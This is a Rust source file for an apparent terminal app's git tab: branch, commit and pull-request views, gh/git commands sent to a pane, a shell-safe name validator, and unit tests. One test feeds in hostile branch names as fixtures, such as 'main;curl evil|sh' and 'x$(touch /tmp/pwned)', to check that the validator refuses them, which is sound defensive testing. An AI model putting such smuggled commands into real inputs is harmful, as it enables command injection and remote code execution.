use std::path::PathBuf;
use super::*;
use crate::git::{
filtered_branches, filtered_commits, filtered_issues, filtered_prs, github, local, GhState,
GitPayload, GitView, Load, Scope, Section,
};
impl App {
pub fn open_git_tab(&mut self, wsi: usize) {
if wsi >= self.workspaces.len() {
return;
}
self.active_ws = wsi;
if let Some(i) = self.workspaces[wsi].tabs.iter().position(Tab::is_git) {
self.workspaces[wsi].active_tab = i;
return;
}
let root = self.workspaces[wsi].cwd.clone();
if !local::is_repo(&root) {
return; }
let view = GitView::new(root.clone());
let view_id = view.id;
let placeholder = PaneId::alloc(); let ws = &mut self.workspaces[wsi];
ws.tabs.push(Tab {
layout: TileLayout::new(placeholder),
git: Some(Box::new(view)),
orch: false,
name: None,
});
ws.active_tab = ws.tabs.len() - 1;
self.zoomed = false;
self.session_dirty = true;
self.git_fetch(view_id, root, Scope::ThisRepo);
}
pub fn open_git_tab_active(&mut self) {
self.open_git_tab(self.active_ws);
}
pub fn active_git(&self) -> Option<&GitView> {
let ws = self.workspaces.get(self.active_ws)?;
ws.tabs.get(ws.active_tab)?.git.as_deref()
}
pub fn active_git_mut(&mut self) -> Option<&mut GitView> {
let at = self.workspaces.get(self.active_ws)?.active_tab;
self.workspaces
.get_mut(self.active_ws)?
.tabs
.get_mut(at)?
.git
.as_deref_mut()
}
pub fn active_is_git(&self) -> bool {
self.active_git().is_some()
}
pub fn git_data(&mut self, view_id: u64, payload: GitPayload) {
let badge = match &payload {
GitPayload::Status(Ok(s)) => Some((s.ahead, s.behind)),
_ => None,
};
for wi in 0..self.workspaces.len() {
for ti in 0..self.workspaces[wi].tabs.len() {
if let Some(g) = self.workspaces[wi].tabs[ti].git.as_deref_mut() {
if g.id == view_id {
let mut alerts = Vec::new();
if let GitPayload::Prs(Ok(new)) = &payload {
for pr in new {
let was = g.prev_pr_checks.get(&pr.number).copied();
if pr.checks == crate::git::Checks::Failing
&& was.is_some_and(|w| w != crate::git::Checks::Failing)
{
alerts.push(format!("PR #{} checks failed", pr.number));
}
}
g.prev_pr_checks = new.iter().map(|p| (p.number, p.checks)).collect();
}
g.apply(payload);
if let Some(ab) = badge {
self.workspaces[wi].git_ahead_behind = Some(ab);
}
self.pending_notify.extend(alerts);
return;
}
}
}
}
}
pub fn refetch_git_tabs(&mut self) {
let targets: Vec<(u64, PathBuf, Scope)> = self
.workspaces
.iter()
.flat_map(|ws| {
ws.tabs
.iter()
.filter_map(|t| t.git.as_ref().map(|g| (g.id, g.repo_root.clone(), g.scope)))
})
.collect();
for (id, root, scope) in targets {
self.git_fetch(id, root, scope);
}
}
fn git_fetch(&self, view_id: u64, root: PathBuf, scope: Scope) {
let tx = self.app_tx.clone();
std::thread::spawn(move || {
let send = |p: GitPayload| {
let _ = tx.send(AppEvent::GitData {
view: view_id,
payload: p,
});
};
send(GitPayload::Status(local::status(&root)));
send(GitPayload::Branches(local::branches(&root)));
send(GitPayload::Commits(local::commits(&root, 100, false)));
send(GitPayload::Info(local::repo_info(&root)));
let gh = github::detect();
send(GitPayload::Gh(gh));
if gh == GhState::Ready {
send(GitPayload::Prs(github::pull_requests(&root, scope)));
send(GitPayload::Issues(github::issues(&root, scope)));
}
});
}
pub fn git_refresh(&mut self) {
if let Some(g) = self.active_git_mut() {
let (id, root, scope) = (g.id, g.repo_root.clone(), g.scope);
g.status = Load::Loading;
g.info = Load::Loading;
g.branches = Load::Loading;
g.commits = Load::Loading;
g.prs = Load::Idle;
g.issues = Load::Idle;
self.git_fetch(id, root, scope);
}
}
fn git_selected_pr(&self) -> Option<u64> {
let g = self.active_git()?;
if g.section != Section::Prs {
return None;
}
match &g.prs {
Load::Loaded(v) => filtered_prs(v, &g.filter).nth(g.cursor).map(|p| p.number),
_ => None,
}
}
fn fetch_pr_detail(&mut self, number: u64) {
let Some(g) = self.active_git() else {
return;
};
let (id, root) = (g.id, g.repo_root.clone());
if let Some(g) = self.active_git_mut() {
g.open_pr = Some(number);
g.detail = Load::Loading;
g.scroll = 0;
}
let tx = self.app_tx.clone();
std::thread::spawn(move || {
let _ = tx.send(AppEvent::GitData {
view: id,
payload: GitPayload::PrDetail(Box::new(github::pr_detail(&root, number))),
});
});
}
fn git_open_pr_detail(&mut self) {
if let Some(n) = self.git_selected_pr() {
self.fetch_pr_detail(n);
}
}
fn git_refresh_detail(&mut self) {
if let Some(n) = self.active_git().and_then(|g| g.open_pr) {
self.fetch_pr_detail(n);
}
}
fn git_close_pr_detail(&mut self) {
if let Some(g) = self.active_git_mut() {
g.open_pr = None;
g.detail = Load::Idle;
g.scroll = 0;
}
}
fn pr_action(&mut self, kind: &str) {
let Some(n) = self.active_git().and_then(|g| g.open_pr) else {
return;
};
let cmd = match kind {
"checkout" => format!("gh pr checkout {n}"),
"diff" => format!("gh pr diff {n}"),
"merge" => format!("gh pr merge {n}"),
"approve" => format!("gh pr review {n} --approve"),
"ready" => format!("gh pr ready {n}"),
_ => return,
};
self.git_run_in_pane(cmd);
}
fn pr_detail_web(&self) {
let Some(g) = self.active_git() else {
return;
};
let Some(n) = g.open_pr else {
return;
};
let root = g.repo_root.clone();
std::thread::spawn(move || {
let _ = github::view_web(&root, "pr", n);
});
}
fn handle_pr_detail_key(&mut self, key: KeyEvent) {
match key.code {
KeyCode::Esc | KeyCode::Char('q') => self.git_close_pr_detail(),
KeyCode::Char('j') | KeyCode::Down => self.git_scroll(1),
KeyCode::Char('k') | KeyCode::Up => self.git_scroll(-1),
KeyCode::Char('r') => self.git_refresh_detail(),
KeyCode::Char('o') => self.pr_detail_web(),
KeyCode::Char('d') => self.pr_action("diff"),
KeyCode::Char('c') | KeyCode::Enter => self.pr_action("checkout"),
KeyCode::Char('M') => self.pr_action("merge"),
KeyCode::Char('a') => self.pr_action("approve"),
KeyCode::Char('R') => self.pr_action("ready"),
_ => {}
}
}
pub fn git_click_section(&mut self, section: Section) {
if let Some(g) = self.active_git_mut() {
if g.section != section {
g.section = section;
g.cursor = 0;
g.scroll = 0;
}
}
}
fn git_toggle_scope(&mut self) {
if let Some(g) = self.active_git_mut() {
g.scope = g.scope.toggle();
g.cursor = 0;
}
self.git_refresh();
}
pub fn close_git_tab(&mut self) {
let at = self.ws().active_tab;
if self.ws().tabs.get(at).is_some_and(Tab::is_git) {
let ws = &mut self.workspaces[self.active_ws];
ws.tabs.remove(at);
if ws.tabs.is_empty() {
self.close_active_ws();
} else if ws.active_tab >= ws.tabs.len() {
ws.active_tab = ws.tabs.len() - 1;
}
self.session_dirty = true;
}
}
pub fn handle_git_key(&mut self, key: KeyEvent) {
if let Some(g) = self.active_git_mut() {
if g.filtering {
match key.code {
KeyCode::Esc => {
g.filtering = false;
g.filter.clear();
}
KeyCode::Enter => g.filtering = false,
KeyCode::Backspace => {
g.filter.pop();
}
KeyCode::Char(c) => g.filter.push(c),
_ => {}
}
g.cursor = 0;
return;
}
}
if self.active_git().is_some_and(|g| g.open_pr.is_some()) {
self.handle_pr_detail_key(key);
return;
}
match key.code {
KeyCode::Char('j') | KeyCode::Down => self.git_scroll(1),
KeyCode::Char('k') | KeyCode::Up => self.git_scroll(-1),
KeyCode::Char('g') | KeyCode::Home => self.git_set_cursor(0),
KeyCode::Char('G') | KeyCode::End => self.git_set_cursor(usize::MAX),
KeyCode::Tab | KeyCode::Right => self.git_switch(true),
KeyCode::BackTab | KeyCode::Left => self.git_switch(false),
KeyCode::Char(c @ '1'..='6') => self.git_set_section(c as usize - '1' as usize),
KeyCode::Char('/') => {
if let Some(g) = self.active_git_mut() {
g.filtering = true;
g.filter.clear();
}
}
KeyCode::Char('r') => self.git_refresh(),
KeyCode::Char('o') => self.git_open_web(),
KeyCode::Char('d') => self.git_diff(),
KeyCode::Char('m') => self.git_toggle_scope(),
KeyCode::Char('c') => self.git_run_in_pane("gh pr create".to_string()),
KeyCode::Enter => self.git_activate(),
KeyCode::Esc | KeyCode::Char('q') => self.close_git_tab(),
_ => {}
}
}
fn git_run_in_pane(&mut self, cmd: String) {
let wsi = self.active_ws;
let Some(ti) = self.workspaces[wsi].tabs.iter().position(|t| !t.is_git()) else {
return; };
self.workspaces[wsi].active_tab = ti;
let focus = self.layout().focus;
if let Some(p) = self.panes.get(&focus) {
p.send(cmd.as_bytes());
p.send(b"\r");
}
}
fn git_open_web(&self) {
let Some(g) = self.active_git() else {
return;
};
let target = match g.section {
Section::Prs => match &g.prs {
Load::Loaded(v) => filtered_prs(v, &g.filter)
.nth(g.cursor)
.map(|p| ("pr", p.number)),
_ => None,
},
Section::Issues => match &g.issues {
Load::Loaded(v) => filtered_issues(v, &g.filter)
.nth(g.cursor)
.map(|i| ("issue", i.number)),
_ => None,
},
_ => None,
};
if let Some((kind, num)) = target {
let root = g.repo_root.clone();
std::thread::spawn(move || {
let _ = github::view_web(&root, kind, num);
});
}
}
fn git_section_uses_cursor(&self) -> bool {
matches!(
self.active_git().map(|g| g.section),
Some(Section::Commits | Section::Branches | Section::Prs | Section::Issues)
)
}
pub fn git_scroll(&mut self, delta: i32) {
if self.active_git().is_some_and(|g| g.open_pr.is_some()) {
if let Some(g) = self.active_git_mut() {
g.scroll = (g.scroll as i64 + delta as i64).max(0) as usize;
}
return;
}
if self.git_section_uses_cursor() {
self.git_move(delta);
} else if let Some(g) = self.active_git_mut() {
g.scroll = (g.scroll as i64 + delta as i64).max(0) as usize;
}
}
fn git_move(&mut self, delta: i32) {
let max = self.git_list_len().saturating_sub(1);
if let Some(g) = self.active_git_mut() {
g.cursor = (g.cursor as i64 + delta as i64).clamp(0, max as i64) as usize;
}
}
fn git_set_cursor(&mut self, pos: usize) {
let max = self.git_list_len().saturating_sub(1);
let uses_cursor = self.git_section_uses_cursor();
if let Some(g) = self.active_git_mut() {
if uses_cursor {
g.cursor = pos.min(max);
} else {
g.scroll = if pos == 0 { 0 } else { usize::MAX };
}
}
}
fn git_switch(&mut self, fwd: bool) {
if let Some(g) = self.active_git_mut() {
g.section = if fwd {
g.section.next()
} else {
g.section.prev()
};
g.cursor = 0;
g.scroll = 0;
}
}
fn git_set_section(&mut self, i: usize) {
if let Some(g) = self.active_git_mut() {
g.section = Section::from_index(i);
g.cursor = 0;
g.scroll = 0;
}
}
fn git_list_len(&self) -> usize {
let Some(g) = self.active_git() else {
return 0;
};
match g.section {
Section::Prs => match &g.prs {
Load::Loaded(v) => filtered_prs(v, &g.filter).count(),
_ => 0,
},
Section::Issues => match &g.issues {
Load::Loaded(v) => filtered_issues(v, &g.filter).count(),
_ => 0,
},
Section::Branches => match &g.branches {
Load::Loaded(v) => filtered_branches(v, &g.filter).count(),
_ => 0,
},
Section::Commits => match &g.commits {
Load::Loaded(v) => filtered_commits(v, &g.filter).count(),
_ => 0,
},
Section::Flow | Section::Status => 0,
}
}
fn git_activate(&mut self) {
if self.active_git().map(|g| g.section) == Some(Section::Prs) {
self.git_open_pr_detail();
return;
}
let branch = self.active_git().and_then(|g| match g.section {
Section::Branches => match &g.branches {
Load::Loaded(v) => filtered_branches(v, &g.filter)
.nth(g.cursor)
.map(|b| (g.repo_root.clone(), b.name.clone())),
_ => None,
},
_ => None,
});
if let Some((root, branch)) = branch {
let _ = local::checkout(&root, &branch);
self.git_refresh();
return;
}
if let Some(cmd) = self.git_selected_command(false) {
self.git_run_in_pane(cmd);
}
}
fn git_diff(&mut self) {
if let Some(cmd) = self.git_selected_command(true) {
self.git_run_in_pane(cmd);
}
}
fn git_selected_command(&self, diff: bool) -> Option<String> {
let g = self.active_git()?;
match g.section {
Section::Prs => {
let n = match &g.prs {
Load::Loaded(v) => filtered_prs(v, &g.filter).nth(g.cursor)?.number,
_ => return None,
};
Some(if diff {
format!("gh pr diff {n}")
} else {
format!("gh pr checkout {n}")
})
}
Section::Issues => {
let n = match &g.issues {
Load::Loaded(v) => filtered_issues(v, &g.filter).nth(g.cursor)?.number,
_ => return None,
};
Some(format!("gh issue view {n}"))
}
Section::Commits => {
let sha = match &g.commits {
Load::Loaded(v) => filtered_commits(v, &g.filter).nth(g.cursor)?.sha.clone(),
_ => return None,
};
let sha = shell_safe_ref(&sha)?;
Some(format!("git show {sha}"))
}
Section::Branches if diff => {
let name = match &g.branches {
Load::Loaded(v) => filtered_branches(v, &g.filter).nth(g.cursor)?.name.clone(),
_ => return None,
};
let name = shell_safe_ref(&name)?;
Some(format!("git log --oneline -20 {name}"))
}
_ => None,
}
}
}
fn shell_safe_ref(s: &str) -> Option<&str> {
let ok = !s.is_empty()
&& !s.starts_with('-')
&& s.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '/' | '-'));
ok.then_some(s)
}
#[cfg(all(test, unix))]
mod tests {
use super::*;
use std::process::Command;
use std::time::{Duration, Instant};
#[test]
fn hostile_branch_names_never_reach_the_shell() {
use crate::git::model::BranchInfo;
let mk = |name: &str| BranchInfo {
name: name.to_string(),
is_head: false,
ahead: 0,
behind: 0,
subject: String::new(),
author: String::new(),
when: String::new(),
};
let (tx, _rx) = std::sync::mpsc::channel();
let mut app = App::new(80, 24, tx).unwrap();
let mut view = GitView::new(std::path::PathBuf::from("/tmp"));
view.section = Section::Branches;
view.branches = Load::Loaded(vec![
mk("feat/scroll-mode_v2.1"), mk("x$(touch /tmp/pwned)"), mk("main;curl evil|sh"), mk("--exec=evil"), mk("weird`cmd`"), ]);
let placeholder = PaneId::alloc();
app.workspaces[0].tabs.push(Tab {
layout: TileLayout::new(placeholder),
git: Some(Box::new(view)),
orch: false,
name: None,
});
app.workspaces[0].active_tab = app.workspaces[0].tabs.len() - 1;
let cmd_at = |app: &mut App, i: usize| {
app.active_git_mut().unwrap().cursor = i;
app.git_selected_command(true)
};
assert_eq!(
cmd_at(&mut app, 0),
Some("git log --oneline -20 feat/scroll-mode_v2.1".to_string()),
"a normal branch still gets its diff command"
);
for i in 1..5 {
assert_eq!(cmd_at(&mut app, i), None, "hostile branch {i} is refused");
}
}
#[test]
fn default_section_is_commits_and_click_switches() {
let view = GitView::new(std::path::PathBuf::from("/tmp"));
assert_eq!(view.section, Section::Commits);
let (tx, _rx) = std::sync::mpsc::channel();
let mut app = App::new(80, 24, tx).unwrap();
let placeholder = PaneId::alloc();
app.workspaces[0].tabs.push(Tab {
layout: TileLayout::new(placeholder),
git: Some(Box::new(view)),
orch: false,
name: None,
});
app.workspaces[0].active_tab = app.workspaces[0].tabs.len() - 1;
app.git_click_section(Section::Flow);
assert_eq!(app.active_git().unwrap().section, Section::Flow);
app.git_click_section(Section::Prs);
assert_eq!(app.active_git().unwrap().section, Section::Prs);
}
#[test]
fn scroll_routes_to_block_or_cursor_and_clamps() {
use crate::git::model::{Commit, FileChange, RepoStatus};
use ratatui::{backend::TestBackend, Terminal};
let mut view = GitView::new(std::path::PathBuf::from("/tmp"));
let status = RepoStatus {
unstaged: (0..20)
.map(|i| FileChange {
code: 'M',
path: format!("f{i}.rs"),
})
.collect(),
..Default::default()
};
view.status = Load::Loaded(status);
view.commits = Load::Loaded(
(0..20)
.map(|i| Commit {
sha: format!("s{i}"),
subject: "x".into(),
author: "a".into(),
when: "now".into(),
refs: String::new(),
graph: String::new(),
})
.collect(),
);
view.section = Section::Status;
let (tx, _rx) = std::sync::mpsc::channel();
let mut app = App::new(40, 12, tx).unwrap();
let placeholder = PaneId::alloc();
app.workspaces[0].tabs.push(Tab {
layout: TileLayout::new(placeholder),
git: Some(Box::new(view)),
orch: false,
name: None,
});
app.workspaces[0].active_tab = app.workspaces[0].tabs.len() - 1;
app.git_scroll(3);
assert_eq!(app.active_git().unwrap().scroll, 3);
assert_eq!(app.active_git().unwrap().cursor, 0);
if let Some(g) = app.active_git_mut() {
g.scroll = 999;
}
let mut term = Terminal::new(TestBackend::new(40, 12)).unwrap();
term.draw(|f| crate::ui::render(f, &mut app)).unwrap();
assert!(
app.active_git().unwrap().scroll < 20,
"status scroll clamped to content"
);
app.git_click_section(Section::Commits);
assert_eq!(app.active_git().unwrap().scroll, 0); app.git_scroll(2);
assert_eq!(app.active_git().unwrap().cursor, 2);
}
#[test]
fn git_tab_opens_fetches_and_persists_safely() {
let repo = std::env::temp_dir().join(format!("bohay-gittab-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&repo);
std::fs::create_dir_all(&repo).unwrap();
std::fs::write(repo.join("f.txt"), "hi").unwrap();
let g = |args: &[&str]| {
Command::new("git")
.args(args)
.current_dir(&repo)
.output()
.expect("git");
};
g(&["init", "-q", "-b", "main"]);
g(&["add", "-A"]);
g(&[
"-c",
"user.email=t@t",
"-c",
"user.name=t",
"commit",
"-q",
"-m",
"init",
]);
g(&["branch", "feature/x"]);
let (tx, rx) = std::sync::mpsc::channel();
let mut app = App::new(80, 24, tx).unwrap();
app.workspaces[0].cwd = repo.clone();
app.workspaces[0].branch = Some("main".into());
app.open_git_tab(0);
assert!(app.active_is_git(), "git tab opened for a repo");
let deadline = Instant::now() + Duration::from_secs(10);
while !matches!(app.active_git().unwrap().branches, Load::Loaded(_))
&& Instant::now() < deadline
{
if let Ok(ev) = rx.recv_timeout(Duration::from_millis(200)) {
app.handle_event(ev);
}
}
match &app.active_git().unwrap().branches {
Load::Loaded(v) => {
assert!(v.iter().any(|b| b.name == "main"), "main fetched");
assert!(v.iter().any(|b| b.name == "feature/x"), "feature fetched");
}
other => panic!("branches not loaded: {}", matches!(other, Load::Error(_))),
}
let snap = crate::persist::snapshot(&app);
assert_eq!(snap.workspaces[0].tabs.len(), 2, "pane + git tab persisted");
assert!(
snap.workspaces[0].tabs.iter().any(|t| t.git),
"git tab is flagged in the snapshot"
);
let (tx2, _rx2) = std::sync::mpsc::channel();
let restored = App::from_snapshot(snap, tx2).expect("session restores");
assert!(
restored.workspaces[0].tabs.iter().any(Tab::is_git),
"git tab restored"
);
app.open_git_tab(0);
assert_eq!(
app.workspaces[0].tabs.iter().filter(|t| t.is_git()).count(),
1,
"one git tab per workspace"
);
let tabs_before = app.ws().tabs.len();
app.handle_event(AppEvent::Key(KeyEvent::new(
KeyCode::Char(' '),
KeyModifiers::CONTROL,
)));
app.handle_event(AppEvent::Key(KeyEvent::new(
KeyCode::Char('x'),
KeyModifiers::NONE,
)));
assert!(!app.active_is_git(), "x closed the git tab");
assert_eq!(
app.ws().tabs.len(),
tabs_before - 1,
"the git tab was removed"
);
let _ = std::fs::remove_dir_all(&repo);
}
#[test]
fn pr_actions_produce_commands() {
use crate::git::model::{Checks, PullRequest};
use crate::git::{GitView, Section};
let pr = PullRequest {
number: 42,
title: "t".into(),
author: "a".into(),
state: "OPEN".into(),
is_draft: false,
review_decision: String::new(),
reviewers: vec![],
head: "feat/x".into(),
additions: 1,
deletions: 0,
checks: Checks::None,
repo: String::new(),
};
let (tx, _rx) = std::sync::mpsc::channel();
let mut app = App::new(80, 24, tx).unwrap();
let mut view = GitView::new(std::path::PathBuf::from("/tmp"));
view.section = Section::Prs;
view.prs = Load::Loaded(vec![pr]);
let placeholder = PaneId::alloc();
app.workspaces[0].tabs.push(Tab {
layout: TileLayout::new(placeholder),
git: Some(Box::new(view)),
orch: false,
name: None,
});
app.workspaces[0].active_tab = app.workspaces[0].tabs.len() - 1;
assert!(app.active_is_git());
assert_eq!(
app.git_selected_command(false).as_deref(),
Some("gh pr checkout 42")
);
assert_eq!(
app.git_selected_command(true).as_deref(),
Some("gh pr diff 42")
);
}
#[test]
fn ci_failure_notifies_only_on_transition() {
use crate::git::model::{Checks, PullRequest};
use crate::git::GitPayload;
let pr = |checks| PullRequest {
number: 42,
title: "t".into(),
author: "a".into(),
state: "OPEN".into(),
is_draft: false,
review_decision: String::new(),
reviewers: vec![],
head: "feat".into(),
additions: 0,
deletions: 0,
checks,
repo: String::new(),
};
let (tx, _rx) = std::sync::mpsc::channel();
let mut app = App::new(80, 24, tx).unwrap();
let mut view = GitView::new(std::path::PathBuf::from("/tmp"));
view.prev_pr_checks.insert(42, Checks::Passing); let vid = view.id;
let placeholder = PaneId::alloc();
app.workspaces[0].tabs.push(Tab {
layout: TileLayout::new(placeholder),
git: Some(Box::new(view)),
orch: false,
name: None,
});
app.workspaces[0].active_tab = app.workspaces[0].tabs.len() - 1;
app.git_data(vid, GitPayload::Prs(Ok(vec![pr(Checks::Failing)])));
assert!(
app.pending_notify
.iter()
.any(|m| m.contains("PR #42 checks failed")),
"alert on transition to red: {:?}",
app.pending_notify
);
app.pending_notify.clear();
app.git_data(vid, GitPayload::Prs(Ok(vec![pr(Checks::Failing)])));
assert!(app.pending_notify.is_empty(), "no repeat while still red");
}
}